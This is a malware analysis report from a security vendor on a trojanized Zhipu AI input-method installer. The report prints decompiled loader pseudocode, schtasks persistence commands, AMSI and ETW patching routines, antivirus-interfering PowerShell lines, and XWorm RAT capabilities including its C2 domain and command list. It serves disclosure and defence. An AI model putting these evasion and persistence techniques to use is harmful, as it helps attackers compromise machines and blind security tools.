供应链攻击盯上AI公司:智谱AI输入法官网下载链接被植入病毒

概述

  瑞星威胁情报平台在2026年6月1日的威胁狩猎中发现智谱AI输入法官网提供的Windows版的下载链接下载到的软件安装包被替换为了包含病毒的版本,疑似遭遇供应链攻击。事件发生后,智谱官方迅速采取应对措施,于当晚在官网下架Windows版智谱AI输入法的下载入口,且相关下载链接指向的文件目前已替换为带有有效数字签名的正常版本,有效阻断了恶意安装包的进一步传播。

样本分析

初始安装包

字段 内容
原始文件名 AutoGLM_win32_x64_1.10.0_260430_1458.exe
文件大小 103.00 MB (108188672 bytes)
文件MD5 0b7b91448f7d5884804b210d9ebf7dfd
文件类型 EXE
主要功能 释放并加载恶意模块,启动智谱AI安装程序

2026年6月1日在智谱AI输入法官网下载到的Windows版的安装程序未包含有效的数字签名

image

image

程序运行后将先后执行以下操作:

  1. %LOCALAPPDATA%下创建名为SougouIME的文件夹
  2. 向之前创建的文件夹内先后写入3个文件,包含合法的搜狗拼音输入法组件以及两个恶意DLL
  3. %LOCALAPPDATA%下写入GLMUpdater.exe(实质为智谱AI输入法安装程序)
  4. 启动合法的搜狗拼音输入法组件以侧加载恶意DLL
  5. 启动智谱AI输入法安装程序以掩人耳目
void __fastcall main_main()
{
    // ============================================================
    // 1. 获取 %LOCALAPPDATA% 环境变量
    // ============================================================
    string localAppData = os_Getenv("LOCALAPPDATA", 12);
    if (localAppData.len == 0)
    {
        fmt_Fprintf(stderr, qword_6B1D8F0, "LOCALAPPDATA missing\n", 21, 0, 0, 0);
        os_Exit(1);
    }

    // ============================================================
    // 2. 在 %LOCALAPPDATA% 下创建 SougouIME 目录
    // ============================================================
    string sougouDir = path_filepath_join(localAppData, "SougouIME");

    error err = os_MkdirAll(sougouDir, 0755);
    if (err != NULL)
    {
        fmt_Fprintf(stderr, qword_6B1D8F0, "mkdir SougouIME: %v\n", 20, &err, 1, 1);
        os_Exit(1);
    }

    // ============================================================
    // 3. 拼接各文件路径
    // ============================================================
    string rpcDllPath        = path_filepath_join(sougouDir,   "rpc.dll");              // 恶意 DLL
    string brokerExePath     = path_filepath_join(sougouDir,   "SougouImeBroker.exe");  // 合法搜狗组件(白文件)
    string versionDllPath    = path_filepath_join(sougouDir,   "version.dll");           // 恶意 DLL
    string glmInstallerPath  = path_filepath_join(localAppData, "GLMUpdater.exe");       // 智谱AI输入法安装程序

    // ============================================================
    // 4. 释放文件到磁盘
    // ============================================================
    err = main_writeFile(rpcDllPath,        off_6B164A0, qword_6B164A8);
    if (err) { fmt_Fprintf(..., "write rpc.dll: %v\n", ...);            os_Exit(1); }

    err = main_writeFile(brokerExePath,     off_6B164C0, qword_6B164C8);
    if (err) { fmt_Fprintf(..., "write SougouImeBroker.exe: %v\n", ...); os_Exit(1); }

    err = main_writeFile(versionDllPath,    off_6B164E0, qword_6B164E8);
    if (err) { fmt_Fprintf(..., "write version.dll: %v\n", ...);         os_Exit(1); }

    err = main_writeFile(glmInstallerPath,  off_6B16500, off_6B16508);
    if (err) { fmt_Fprintf(..., "write GLMUpdater.exe: %v\n", ...);      os_Exit(1); }

    // ============================================================
    // 5. 启动程序
    // ============================================================
    os_exec_Cmd_Start(os_exec_Command(brokerExePath, NULL));     // 启动搜狗组件 → 自动加载同目录恶意 DLL
    os_exec_Cmd_Start(os_exec_Command(glmInstallerPath, NULL));  // 启动智谱AI输入法安装程序(掩人耳目)

    os_Exit(0);
}

恶意模块1:version.dll

字段 内容
原始文件名 version.dll
文件大小 2.66 MB (2798300 bytes)
文件MD5 987e51176788c759eb930ade655cfb07
文件类型 DLL
病毒名 Trojan.Agent!1.13FA9
主要功能 持久化以及内存加载内嵌的一阶段shellcode

  该DLL使用Themida壳保护以加大逆向分析难度。

  初始安装包启动搜狗组件SougouImeBroker.exe时,恶意模块version.dll会被同步加载。模块加载过程中,代码从DllEntryPoint开始执行,依次完成调试器检测、虚拟机检测、原始节解码重构等操作后,进入恶意模块原始入口Payload_Entry。代码首先检测当前主模块是否为Rundll32,若是则直接退出;若不是,则启动恶意线程Malware_Thread1

int __stdcall Payload_Entry(int dwArg1, int dwOpCode, int dwArg3)
{

    //省略部分代码
        // 非 rundll32 进程:创建恶意工作线程
        if (!CheckCurModule_IsRundll32())
        {
            hWorkerThread = Create_Thread_ctrl(0, 0, Malware_Thread1, 0, 0, 0);
            if (hWorkerThread != NULL)
            {
                CloseHandle_ctrl(hWorkerThread);
            }
        }
    }
    //省略部分代码
}

  在Malware_Thread1中,首先通过创建进程的方式,调用Rundll32.exe执行version.dll的导出函数DllRegisterServer(该执行路径为恶意负载的核心执行流程),随后创建线程Malware_Thread2

int __stdcall Malware_Thread1(int dwParam)
{
    //省略部分代码
    Execute_DllRegisterServer();// 通过 rundll32 执行 DllRegisterServer 导出函数

    // 创建子线程,执行启动项相关逻辑
    hSubThread = Create_Thread_ctrl(0, 0, Malware_Thread2, 0, 0, 0);
    if (hSubThread != NULL)
    {
        CloseHandle_ctrl(hSubThread);
    }
    //省略部分代码
    return 0;
}
int Execute_DllRegisterServer(void)
{
    //省略部分代码
    // 获取当前模块完整路径,存入缓冲区偏移位置
    dwRetCode = GetCurrentModulePath(g_ParamCache, &wStackBuf1[9], 260);
    if (dwRetCode != 0)
    {
        // 拼接命令行: rundll32.exe "DLL路径",DllRegisterServer
        Init_String(wCmdLineBuf, L"rundll32.exe \"");
        String_Cat(wCmdLineBuf, &wStackBuf1[9]);
        String_Cat(wCmdLineBuf, L"\",DllRegisterServer");
        //省略部分代码
        //最终参数:rundll32.exe "C:\Users\MSBig\Desktop\white_Loader\SougouIME\VERSION.dll",DllRegisterServer"
        dwRetCode = CreateProcess_ctrl(NULL, wCmdLineBuf); // 创建进程执行命令行
        if (dwRetCode != 0)
        {
            // 连续关闭句柄(原逻辑原样保留)
            CloseHandle_ctrl(NULL);
            return CloseHandle_ctrl(NULL);
        }
    }

    return dwRetCode;
}

  在Malware_Thread2中,首先检测系统中是否存在360ZhuDongFangYu.exe进程:

  • 若存在该进程,通过LoadLibraryA加载目录下的rpc.dll模块,并调用其导出函数Run执行SougouImeBroker.exe
  • 若不存在该进程,则执行以下两项操作:
    1. SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run注册表项下创建启动项;
    2. 调用系统实用工具schtasks创建计划任务:
  • 普通权限下,创建任务命令为:schtasks /create /f /sc minute /mo 5 /tn "SougouImeBroker.exe" /tr "C:\\Users\\MSBig\\Desktop\\white_Loader\\SougouIME\\SougouImeBroker.exe"
  • 最高权限下,创建任务命令为:schtasks /create /f /RL HIGHEST /sc minute /mo 5 /tn "SougouImeBroker.exe" /tr \"C:\\Users\\MSBig\\Desktop\\white_Loader\\SougouIME\\SougouImeBroker.exe"
int __stdcall Malware_Thread2(int dwParam)
{
    // 省略部分代码
    bHasDefender = CheckActivezhudongfangyu();// 检测360主动防御进程是否存在
    if (!bHasDefender){  
        //打开注册表:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
        LONG regOpenRet = RegOpenKeyExCtrl(
            (HKEY)0x80000001,
            L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
            0,
            0x20006,
            regKeyHandleBuf
        );
        if (regOpenRet != 0)
        {
            // 注册表打开失败:直接尝试创建计划任务
            bTaskCreateRet = CreateScheduledTask();
        }
        else
        {
            // 注册表打开成功:先计算路径长度,再写入RUN启动项
            lstrlenWCtrl(g_ModuleFullName);
            bRegWriteRet = RegSetValueExWCtrl(regKeyHandleBuf[0]);
            // 关闭注册表句柄(保留原多参数调用形式)
            RegCloseKeyCtrl(regKeyHandleBuf[0], stackVar1, stackVar2, stackVar3, stackVar4, stackVar5);
            // 写入完成后,同步创建计划任务
            bTaskCreateRet = CreateScheduledTask();
            // 省略部分代码
        }
        // 省略部分代码
    }
    RpcExecute();
    // 创建进程查询计划任务UpdateTask是否创建成功。
    if (CreateProcessW_Ctrl(schtasks /query /tn "\\Microsoft\\Windows\\UpdateTask"))
        return 0;
    // 休眠2秒后再次执行RPC调用,维持后台运行
    SleepCtrl(2000);
    RpcExecute();

    return 0;
}
int __stdcall CheckActivezhudongfangyu(void)
{
    // 省略部分代码
    hSnapshot = CreateToolhelp32Snapshot_ctrl(2, 0);
    if (hSnapshot != INVALID_HANDLE_VALUE)
    {
        // 省略部分代码
        // 枚举第一个进程
        if (Process32FirstW_ctrl(hSnapshot, &processEntry))
        {
            // lstrcmpiw_ctrl 返回非0表示字符串不相等,继续遍历
            while (lstrcmpiw_ctrl(processEntry.szExeFile, L"ZhuDongFangYu.exe"))
            {
                // 取下一个进程,枚举失败则退出循环
                if (!Process32NextW(hSnapshot, &processEntry))
                    goto EnumEnd;
            }
            // 匹配到目标进程
            bProcessExist = 1;
        }
EnumEnd:
        // 关闭快照句柄
        CloseHandle_ctrl(hSnapshot);
    }
    return bProcessExist;
}
int __stdcall CreateScheduledTask(void)
{
    // 省略部分代码
    // 获取当前进程句柄
    hCurrentProcess = GetCurrentProcess_ctrl(stackArg1, stackArg2, stackArg3);
    // 打开进程访问令牌
    if (!GetProcessToken_ctrl(hCurrentProcess, 8, cmdLineBuf))
        goto NormalTaskCmd;

    // 查询令牌权限信息,判断是否拥有高权限
    if (!GetTokenInformation_ctrl(0, 20, &tokenInfoData, 4, retSizeBuf))
    {
        CloseHandle_ctrl(NULL);
        goto NormalTaskCmd;
    }
    CloseHandle_ctrl(NULL);

    // 权限判断:无高权限 -> 普通任务;有高权限 -> 最高权限任务
    bHasElevatedPriv = tokenInfoData;
    if (!bHasElevatedPriv){
NormalTaskCmd:
        // 普通权限:每5分钟执行一次,强制覆盖同名任务
        wsprintfW_ctrl(cmdLineBuf,L"schtasks /create /f /sc minute /mo 5 /tn \"%s\" /tr \"%s\"",g_ExeShortName,g_ModuleFullName);
    }
    else{
        // 最高权限运行:附加 /RL HIGHEST 参数
        wsprintfW_ctrl(cmdLineBuf,L"schtasks /create /f /RL HIGHEST /sc minute /mo 5 /tn \"%s\" /tr \"%s\"",g_ExeShortName,g_ModuleFullName);
    }
    // 创建进程,执行命令行,创建计划任务
    return CreateProcessW_trl(cmdLineBuf);
}

  通过Rundll32.exe执行version.dll导出函数DllRegisterServer的流程中,该函数首先两次调用GetTickCount,检测两次执行的时间差,仅当差值小于等于 0x9C(156ms)时,才会继续执行后续操作;随后拷贝shellcode1,解密后跳转至该代码段执行。

HRESULT __stdcall DllRegisterServer(void)
{
    //省略部分代码
    dwStartTick = GetSystemTickCount();
    SleepCtrl(625);
    dwTimeElapsed = GetSystemTickCount() - 625 - dwStartTick;// 计算真实耗时:当前计时 - 初始计时 - 预设延时
    if ((UINT)dwTimeElapsed <= 0x9C)
    {
        // 申请大容量内存
        lpAllocBase = VirtualAllocCtrl(NULL, 201326592, 12288, 64);
        hRet = lpAllocBase;
        // 内存分配成功
        if (lpAllocBase != NULL)
        {
            // 计算 Shellcode 入口地址:基址 + 偏移 0xBFDE3B5
            pShellcodeEntry = (VOID (__stdcall *)(int))((BYTE*)lpAllocBase + 0xBFDE3B5);
            // 整块内存填充为 0x90(NOP指令)
            MemSet(lpAllocBase, 144, 201326592);
            // 将加密 Shellcode 拷贝到目标偏移位置,长度 0x20C4B
            MemCpy((BYTE*)lpAllocBase + 0xBFDE3B5, encode_shellcode, 0x20C4B);
            // 逐字节异或解密 Shellcode
            pBytePtr = (BYTE*)((BYTE*)lpAllocBase + 0xBFDE3B5);
            xorKey = 171;   // 初始异或密钥

            // 循环范围:从Shellcode起始位置 到 地址 0xBFFF000
            do
            {
                *pBytePtr ^= (BYTE)xorKey;       // 单字节异或解密
                xorKey += 17;                    // 密钥自增步长 17
                if (xorKey > 0xFF)               // 密钥溢出则重置为初始值
                    xorKey = 17;
                pBytePtr++;                      // 指针后移
            } while (pBytePtr != (BYTE*)((BYTE*)lpAllocBase + 0xBFFF000));
            //省略部分代码
            pShellcodeEntry(shellcode1);// 调用解密完成的 Shellcode 入口
            //省略部分代码
        }
    }
    return hRet;
}

shellcode1中,执行逻辑如下:

  1. 获取VirtualAllocVirtualFreeRtlExitUserProcess等函数指针;
  2. 申请内存并拷贝、解码包含代码和内嵌PE1的数据块;
  3. 计算字符串W73HW9NT的哈希值,并与解码后的数据块比对,比对失败则直接退出;
  4. 获取LoadLibraryA函数指针,加载ole32oleaut32wininetmscoreeshell325 个 DLL,以及Patch_AmsiPatch_EtwEventWrite等外壳所需的全部函数;
  5. 通过内存加载方式,运行内嵌的PE1
int __cdecl ShellCode1(DWORD* pGlobalCtx)
{
    //省略部分代码
    // 查找 VirtualAlloc
    pVirtualAlloc = (PFN_VirtualAlloc)FindFunc_Proc((DWORD*)pGlobalCtx,pGlobalCtx[18], pGlobalCtx[19],pGlobalCtx[10], pGlobalCtx[11]);
    // 查找 VirtualFree
    pVirtualFree = (PFN_VirtualFree)FindFunc_Proc((DWORD*)pGlobalCtx,pGlobalCtx[20], pGlobalCtx[21],pGlobalCtx[10], pGlobalCtx[11]);
    // 查找 RtlExitUserProcess
    pExitProcess = (PFN_RtlExitUserProcess)FindFunc_Proc((DWORD*)pGlobalCtx,pGlobalCtx[122], pGlobalCtx[123],pGlobalCtx[10], pGlobalCtx[11]);
    //省略部分代码
    pAllocBuf = pVirtualAlloc(NULL, *pGlobalCtx, 0x3000, 4);// 分配可读写内存
    //省略部分代码
    // 多重校验:标记判断 + 数据解码 + 哈希比对
    if (*(DWORD*)((BYTE*)pAllocBuf + 564) == 3
        && (Decode((BYTE*)pAllocBuf + 4, (BYTE*)pAllocBuf + 20, (BYTE*)pAllocBuf + 0x23C,
                   *pFuncTableItem - 0x23C),
            CalcHash_1((BYTE*)pAllocBuf + 3116, *pFuncTableItem, *(DWORD*)((BYTE*)pAllocBuf + 44))
            == *(DWORD*)((BYTE*)pAllocBuf + 0xD30))
        && (DWORD)pFuncTableItem == *(DWORD*)((BYTE*)pAllocBuf + 0xD34))
    {
        // 查找 LoadLibraryA 地址并回填到上下文
        apiFindRet = (int)FindFunc_Proc((DWORD*)pAllocBuf,*(DWORD*)((BYTE*)pAllocBuf + 48),*(DWORD*)((BYTE*)pAllocBuf + 52),*pFuncTableItem,*(DWORD*)((BYTE*)pAllocBuf + 44));
        //省略部分代码
        // 遍历字符串区域,按分号 ; 分割逐个加载DLL
        pDllNameStr = (char*)((BYTE*)pAllocBuf + 576);
        while (TRUE)
        {
            //省略部分代码
            do
            {
                // 遇到分号/超长/字符串结束则停止截取
                if (curChar == ';' || strLen >= 0x104 || !*pCharScan) //ole32;oleaut32;wininet;mscoree;shell32
                    break;
                strTempBuf[strLen] = curChar;
                strLen++;
                curChar = *++pCharScan;
            } while (TRUE);
            //省略部分代码
        }
        //省略部分代码
        // 根据标记位执行AMSI、ETW补丁/禁用
        if (*(DWORD*)((BYTE*)pAllocBuf + 0x570) == 1
            || (CheckAndPatch_Amsi((DWORD*)pAllocBuf) || *(DWORD*)((BYTE*)pAllocBuf + 0x570) != 2)
            && (Patch_EtwEventWrite((DWORD*)pAllocBuf) || *(DWORD*)((BYTE*)pAllocBuf + 0x570) != 2))
        {
           //省略部分代码
            switch (*pExecCtx)
            {
                case 3:
                case 4:
                    // 加载并执行内嵌 PE1 文件
                    LoadEmbPEAndRun((DWORD*)pAllocBuf, (DWORD*)pAllocBuf, pExecCtx, ctxFlag);
                    break;
                //省略部分代码
            }

        }
    }
    //省略部分代码
}
int __cdecl CheckAndPatch_Amsi(int pContext)
{
    // 省略部分代码
    // 加载 amsi.dll 模块
    hAmsiDll = GetDllHandle(pContext, ctxBase + 852);
    if (!hAmsiDll)
    {
        return 1; // 模块加载失败,判定为无需补丁/环境异常
    }
    // 查找 AmsiScanBuffer 函数地址
    pAmsiScanBuffer = GetFuncAddress(ctxBase, hAmsiDll, ctxBase + 1480, 0);
    if (!pAmsiScanBuffer)
        return 0;
    // 修改内存属性为可写:PAGE_EXECUTE_READWRITE(0x40),原始属性存入dwOldProtect
    PFN_VirtualProtect pVirtualProtect = *(PFN_VirtualProtect **)(ctxBase + 72);
    if (!pVirtualProtect(pAmsiScanBuffer, 12, 64, (PDWORD)&dwOldProtect))
        return 0;
    // 获取补丁指令并覆盖函数前12字节指令
    pPatchCodeSrc = sub_E4BE8E9();
    Copy_Data(pAmsiScanBuffer, (LPVOID)((BYTE*)pPatchCodeSrc - 8767), 12);
    // 恢复函数内存页原始属性
    pVirtualProtect(pAmsiScanBuffer, 12, dwOldProtect, tmpBuf);
    // 查找 AmsiScanString 函数地址
    pAmsiScanString = GetFuncAddress(ctxBase, hAmsiDll, ctxBase + 1496, 0);
    if (!pAmsiScanString)
        return 0;
    // 再次修改内存为可写
    if (!pVirtualProtect(pAmsiScanString, 12, 64, (PDWORD)&dwOldProtect))
        return 0;
    // 覆盖前12字节指令完成补丁
    pPatchCodeSrc = sub_E4BE8E9();
    Copy_Data(pAmsiScanString, (LPVOID)((BYTE*)pPatchCodeSrc - 8745), 12);
    // 恢复内存原始属性
    pVirtualProtect(pAmsiScanString, 12, dwOldProtect, tmpBuf);
    return 1;
}
int __cdecl Patch_EtwEventWrite(int pContext)
{
    //省略部分代码
    // 加载 ntdll.dll 系统模块
    hNtdll = GetDllHandle(pContext, ctxBase + 872);
    // 查找 EtwEventWrite 函数地址
    pEtwEventWrite = GetFuncAddress(ctxBase, hNtdll, ctxBase + 1512, 0);
    if (!pEtwEventWrite)
        return 0;
    // 修改内存属性为可写可执行,原始权限存入 dwOldProtect
    PFN_VirtualProtect pVirtualProtect = *(PFN_VirtualProtect **)(ctxBase + 72);
    if (!pVirtualProtect(pEtwEventWrite, 4, 64, (PDWORD)&dwOldProtect))
        return 0;
    // 覆盖函数入口前4字节指令,完成补丁
    Copy_Data(pEtwEventWrite, (LPVOID)(ctxBase + 1549), 4);
    // 恢复内存页原始权限,消除篡改特征
    pVirtualProtect(pEtwEventWrite, 4, dwOldProtect, tmpBuf);
    return 1;
}

外壳引入的DLL及API函数列表

所属模块 函数名称
kernel32 LoadLibraryA
kernel32 GetProcAddress
kernel32 GetModuleHandleA
kernel32 VirtualAlloc
kernel32 VirtualFree
kernel32 VirtualQuery
kernel32 VirtualProtect
kernel32 Sleep
kernel32 MultiByteToWideChar
kernel32 GetUserDefaultLCID
kernel32 WaitForSingleObject
kernel32 CreateThread
kernel32 CreateFileA
kernel32 GetFileSizeEx
kernel32 GetThreadContext
kernel32 GetCurrentThread
kernel32 GetCurrentProcess
kernel32 GetCommandLineA
kernel32 GetCommandLineW
kernel32 GetProcessHeap
kernel32 HeapFree
kernel32 GetLastError
kernel32 CloseHandle
ntdll RtlAllocateHeap
ntdll RtlReAllocateHeap
ntdll RtlEqualUnicodeString
ntdll RtlEqualString
ntdll RtlUnicodeStringToAnsiString
ntdll RtlInitUnicodeString
ntdll RtlExitUserThread
ntdll RtlExitUserProcess
ntdll RtlCreateUnicodeString
ntdll RtlGetCompressionWorkSpaceSize
ntdll RtlDecompressBuffer
ntdll ZwContinue
ntdll NtCreateSection
ntdll NtMapViewOfSection
ntdll ZwUnmapViewOfSection
shell32 CommandLineToArgvW
oleaut32 SafeArrayCreate
oleaut32 SafeArrayCreateVector
oleaut32 SafeArrayPutElement
oleaut32 SafeArrayDestroy
oleaut32 SafeArrayGetLBound
oleaut32 SafeArrayGetUBound
oleaut32 SysAllocString
oleaut32 SysFreeString
oleaut32 LoadTypeLib
wininet InternetCrackUrlA
wininet InternetOpenA
wininet InternetConnectA
wininet InternetSetOptionA
wininet InternetReadFile
wininet InternetQueryDataAvailable
wininet InternetCloseHandle
wininet HttpOpenRequestA
wininet HttpSendRequestA
wininet HttpQueryInfoA
mscoree CorBindToRuntime
mscoree CLRCreateInstance
ole32 CoInitializeEx
ole32 CoCreateInstance
ole32 CoUninitialize

跳转到内嵌PE1入口执行后,流程如下:

  1. 两次调用clock函数并延迟,获取时间差并校验,不满足条件则退出;
  2. 申请内存并拷贝、解密包含代码和内嵌PE2的数据块(内嵌PE为VB.NET编写的XWorm远控木马);
  3. 跳转至解码后的shellcode2执行(shellcode2框架与shellCode1一致,仅内嵌 PE 不同),最终shellcode2会在内存中加载VB.NET编写的XWorm远控木马
int __stdcall Emb_PE1_Entry(int a1, int a2, int a3, int a4)
{
    //省略部分代码
    // 1. 反沙箱:时间校验
    timeStart = clock();
    Sleep(0x3FE);           // 固定休眠 1022ms
    timeEnd = clock();

    if ((timeEnd - timeStart) <= 0x3FD || (timeEnd - timeStart) > 0x4CF)
    {
        return 0;
    }
    hPrivateHeap = HeapCreate(0x40000, 0, 0);
    if (!hPrivateHeap)
    {
        return 0;
    }
    pHeapMem = HeapAlloc(hPrivateHeap, 8, 0x10000000);
    if (pHeapMem != NULL)
    {
        // 整块内存填充 0x90(NOP 空指令)
        memset(pHeapMem, 144, 0x10000000);
        // 从全局数据区拷贝加密 Shellcode 到指定偏移位置,长度 0x1404B
        memcpy((BYTE*)pHeapMem + 0xFFEBFB5, &unk_404020, 0x1404B);
        // 调用自定义解码函数,解密Shellcode
        Decode((BYTE*)pHeapMem + 0xFFEBFB5, 81995, 65, 3, 179);
        // 强转为函数指针,跳转到Shellcode入口执行
        ((void (__cdecl *)(void))((BYTE*)pHeapMem + 0xFFEBFB5))();
    }
    return 0;
}

恶意模块2:rpc.dll

字段 内容
原始文件名 rpc.dll
文件大小 2.85 MB (2994176 bytes)
文件MD5 e0145c0c1439528c3012be7d0f63409d
文件类型 DLL
病毒名 Trojan.Agent!1.13FA8
主要功能 通过RPC调用的方式创建计划任务

  rpc.dll仅在系统中存在360ZhuDongFangYu.exe进程时被调用,核心函数Run的逻辑如下:

BOOL __stdcall Run(const unsigned __int16 *szTaskParam)
{
    //省略部分代码
    // 入参校验:参数为空或空字符串直接返回
    if (!szTaskParam || !wcslen((LPCWSTR)szTaskParam))
        return TRUE;
    //省略部分代码
    // 1. 拼接 RPC 绑定字符串:目标 UUID + 命名管道 ncacn_np + 管道路径 \pipe\atsvc
    RpcStringBindingComposeW(L"86D35949-83C9-4044-B424-DB363231FD0C",L"ncacn_np",NULL,L"\\pipe\\atsvc",NULL,&pRpcBindStr);
    // 2. 通过绑定字符串创建 RPC 客户端句柄
    RpcBindingFromStringBindingW(pRpcBindStr, &hRpcBind);
    // 3. 为 RPC 绑定设置安全认证与安全QOS配置
    RpcBindingSetAuthInfoExA(hRpcBind, NULL, 6, 10, NULL, 0, &secQos);
    // 4. 释放 RPC 绑定字符串内存
    RpcStringFreeW(&pRpcBindStr);
    // 5. 首次尝试创建/更新计划任务
    bTaskResult = CreateUpdateTask(hRpcBind, (LPCWSTR)szTaskParam);
    if (!bTaskResult)
    {
        // 首次失败,延时 3000ms 后重试一次
        DelayCtrl(3000);
        bTaskResult = CreateUpdateTask(hRpcBind, (LPCWSTR)szTaskParam);
    }
    // 6. 输出运行日志
    LPCSTR szLog = "false";
    if (bTaskResult)
        szLog = "add success";
    OutputLog(szLog);
    // 函数返回取反:成功返回 FALSE,失败返回 TRUE
    return !bTaskResult;
}

  函数CreateUpdateTask的核心逻辑为拼接创建计划任务的XML,并通过该 XML 创建计划任务\\Microsoft\\Windows\\UpdateTask,拼接后的 XML 内容如下:

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <!-- 任务注册信息 -->
  <RegistrationInfo>
    <Author>Microsoft Corporation</Author>
    <Description>WPS Office Update Task</Description>
    <URI>\Microsoft\Windows\UpdateTask</URI>
  </RegistrationInfo>

  <!-- 任务触发器:定时重复执行 -->
  <Triggers>
    <TimeTrigger id="Trigger1">
      <Repetition>
        <Interval>PT10M</Interval>          <!-- 执行间隔:10分钟 -->
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2005-01-01T12:05:00</StartBoundary>  <!-- 首次启动时间 -->
      <Enabled>true</Enabled>
    </TimeTrigger>
  </Triggers>

  <!-- 任务运行配置项 -->
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>  <!-- 新实例到来则忽略 -->
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>  <!-- 电池供电时不启动 -->
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>

    <!-- 空闲条件设置 -->
    <IdleSettings>
      <Duration>PT10M</Duration>        <!-- 系统空闲10分钟才运行 -->
      <WaitTimeout>PT1H</WaitTimeout>   <!-- 最长等待1小时空闲 -->
      <StopOnIdleEnd>false</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>

    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>  <!-- 最长运行时限:72小时 -->
    <Priority>7</Priority>                           <!-- 进程优先级 -->
  </Settings>

  <!-- 执行动作:启动指定程序 -->
  <Actions Context="Author">
    <Exec>
      <Command>C:\Users\MSBig\Desktop\white_Loader\SougouIME\SougouImeBroker.exe</Command>
    </Exec>
  </Actions>

  <!-- 运行身份与权限 -->
  <Principals>
    <Principal id="Author">
      <!-- 目标用户SID -->
      <UserId>S-1-5-21-1091891332-1852682678-894374878-1000</UserId>
      <LogonType>InteractiveToken</LogonType>   <!-- 交互式登录令牌 -->
      <RunLevel>LeastPrivilege</RunLevel>        <!-- 普通权限运行 -->
    </Principal>
  </Principals>
</Task>

内存中加载的XWorm远控木马

字段 内容
文件大小 51.37 KB (52600 bytes)
文件MD5 ca2ffd37721ec535a048e4aa5faa289d
文件类型 EXE
病毒名 Backdoor.XWorm!1.E338
主要功能 键盘记录,干扰杀软,环境信息收集,加密钱包窃取,执行C2命令

键盘记录功能

通过InputTracker类实现,调用 Windows API:

  • SetWindowsHookEx(user32.dll)— 安装WH_KEYBOARD_LL(ID=13)低级键盘钩子,全局拦截所有键盘输入
  • CallNextHookEx(user32.dll)— 将钩子事件传递给下一个钩子
  • GetKeyboardLayout(user32.dll)— 获取当前键盘布局(用于多语言键盘映射)
  • GetKeyboardState(user32.dll)— 获取所有键的状态(Shift、Ctrl、Alt 等修饰键)
  • ToUnicodeEx(user32.dll)— 将虚拟键码转换为 Unicode 字符
  • MapVirtualKey(user32.dll)— 虚拟键到扫描码映射
  • GetForegroundWindow + GetWindowText(user32.dll)— 获取当前活动窗口标题,用于追踪用户正在操作的应用
  • GetKeyState(user32.dll)— 检测 Caps Lock 等键状态
  • GetLastInputInfo(user32.dll)— 检测用户空闲时间

干扰杀软

在收到uninstallupdate指令时会先尝试执行如下PowerShell命令:

Remove-NetQosPolicy -Name '360Safe' -Confirm:$false -ErrorAction SilentlyContinue
Remove-NetQosPolicy -Name 'avp' -Confirm:$false -ErrorAction SilentlyContinue
Remove-NetQosPolicy -Name 'MsMpEng' -Confirm:$false -ErrorAction SilentlyContinue
Remove-NetQosPolicy -Name 'HipsDaemon' -Confirm:$false -ErrorAction SilentlyContinue
Remove-NetQosPolicy -Name 'ntrtscan' -Confirm:$false -ErrorAction SilentlyContinue

环境信息收集

NetworkService类中的Info方法收集了以下系统信息:

收集信息 采取的方法
HWID 通过WMI查询获取磁盘序列号网卡MAC地址,与处理器数量用户名计算机名系统版本以及系统盘总大小拼接在一起计算MD5
计算机名 .NET内置方法
用户名 .NET内置方法
系统版本 .NET内置方法
是否为64位系统 .NET内置方法
安装日期 获取当前进程对应文件的修改日期
是否通过U盘传播 将自身进程对应文件名与配置内标识的文件名进行比对
是否以管理员权限运行 .NET内置方法
是否安装摄像头 尝试调用capGetDriverDescriptionA系统函数
CPU信息 WMI查询Win32_Processor
GPU信息 WMI查询Win32_VideoController
内存大小 .NET内置方法
已安装的杀毒软件 WMI查询AntivirusProduct
公网IP地址 访问checkip.amazonaws.comapi.ipify.org获取

加密钱包窃取

Settings类中包含专门用于存储待替换的加密货币地址的字段,本样本中相关功能未启用,但可以通过插件下发相关功能模块:

字段 目标
_BTCData 比特币钱包地址
_ETHData 以太坊钱包地址
_TRCData 波场币钱包地址

C2获取及指令列表

Settings类中包含专门用于存储木马配置相关的字段,这些字段的内容需通过AES算法进行解密,解密密钥通过Mutex字符串R1sWgPmV7TMSfb2B计算而来,相关字段解密后的内容如下:

字段 解密后的内容 含义
_HostsData "microsoft.timefixinstaller.online" C2域名
_PortData "8002" C2端口号
_KeyData "nothing_is_s@fe" 收发数据时的加/解密密钥
_SPLData "\" 数据分隔符
_GroubData "GM" 分组名称
_USBData "USBDriver.exe" U盘传播时的文件名

通过CommandRouter.Read()方法解析并执行 C2 下发的指令:

指令 功能描述
update 自我更新
DW 调用PowerShell执行下载的PowerShell脚本
LN 下载指定的可执行文件并执行
Shosts 修改hosts文件
Hosts 将本机hosts文件数据回传至C2服务器
plugin 执行指定插件,未找到相关插件则会回发数据要求服务器推送相关插件
savePlugin 保存C2服务器推送的恶意插件
RemovePlugins 删除已安装的插件
FM 内存执行下载的.NET程序集
Urlopen/Urlhide 打开URL(可见/隐藏模式)
RunShell 执行特定程序(隐藏窗口)
StartReport 开启窗口监视并向C2服务器报告包含特定内容的窗口的打开事件
StopReport 停止窗口监视
CLOSE 断开与C2的连接
uninstall 自我卸载
PCShutdown 强制关机(shutdown /f /s /t 0
PCRestart 强制重启(shutdown /f /r /t 0
PCLogoff 强制注销(shutdown -L
Xchat 开启文字聊天功能
OfflineGet 上传日志数据至C2服务器
$Cap 摄像头画面捕获
rec 重启后门程序
pong 发送心跳回包

相关技术特点

检测调试器和虚拟机

